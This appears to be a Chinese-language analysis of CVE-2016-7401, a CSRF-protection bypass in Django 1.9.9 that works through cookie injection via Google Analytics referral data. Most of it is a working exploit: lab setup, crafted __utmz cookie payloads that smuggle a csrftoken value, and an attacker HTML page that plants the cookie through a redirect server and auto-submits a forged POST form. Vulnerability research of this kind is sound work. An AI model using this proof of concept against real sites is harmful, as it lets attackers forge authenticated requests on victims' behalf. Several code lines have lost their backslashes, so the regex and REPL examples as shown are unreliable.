Django CSRF Bypass (CVE-2016-7401) 漏洞分析

1. pip install django==1.9.9  
2. django-admin startproject project  
3. cd project  
4. python manage.py startapp app  
5. cd app  
6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中  
7. 更改或添加下列文件：  

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def check(req):  
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):  
    return render(req, 'ga.html')

from django.conf.urls import url  
from django.contrib import admin

from app.views import check, ga

urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

<form action="/check/" method="POST">  
    {% csrf_token %}
    <input type="submit" value="Check"></input>
</form>  

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>  

# project/python manage.py runserver  

def load(self, rawdata):  
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """    
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__        
        for k, v in rawdata.items():
            self[k] = v    
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):  
    i = 0            # Our starting point    
    n = len(str)     # Length of string    
    M = None         # current morsel
    
    while 0 <= i < n:
        # Start looking for a cookie        
        match = patt.search(str, i)
        if not match: break          # No more cookies
        
        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

_LegalCharsPatt  = r"[wd!#%&'~_`><@,:/$*+-.^|)(?}{=]"  
_CookiePattern = re.compile(  
    r"(?x)"                       # This is a Verbose pattern    
    r"(?P<key>"                   # Start of group 'key'    
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy    
    r")"                          # End of group 'key'    
    r"s*=s*"                    # Equal Sign    
    r"(?P<val>"                   # Start of group 'val'    
    r'"(?:[^\"]|\.)*"'            # Any doublequoted string    
    r"|"                            # or    
    r"w{3},s[swd-]{9,11}s[d:]{8}sGMT" # Special case for "expires" attr    
    r"|"                            # or    
    ""+ _LegalCharsPatt +"*"        # Any word or empty string    
    r")"                          # End of group 'val'    
    r"s*;?"                      # Probably ending in a semi-colon    
    )

c.load('a=helloXb=world') # X为上述字符  
SetCookie: a='hello' b='world'  

def parse_cookie(cookie):  
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie            
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value    
    return cookiedict

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=
(referral)|utmcmd=referral|utmcct=[PATH]  

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=helloworld  

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=hello]csrftoken=world  

from django.conf.urls import url  
from django.contrib import admin

from app.views import route

urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def route(req):  
    return render(req, 'route.html')

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>  

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">  
    <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">  
function sleep (time) {  
      return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {  
    window.open('http://redirect-server/hello]csrftoken=boom');

    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>

<a href='#' onclick=poc()> Click me </a>

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>  

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blahx09csrftoken=x')
>>> C.load('__utmz=blahx0bcsrftoken=x')
>>> C.load('__utmz=blahx0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>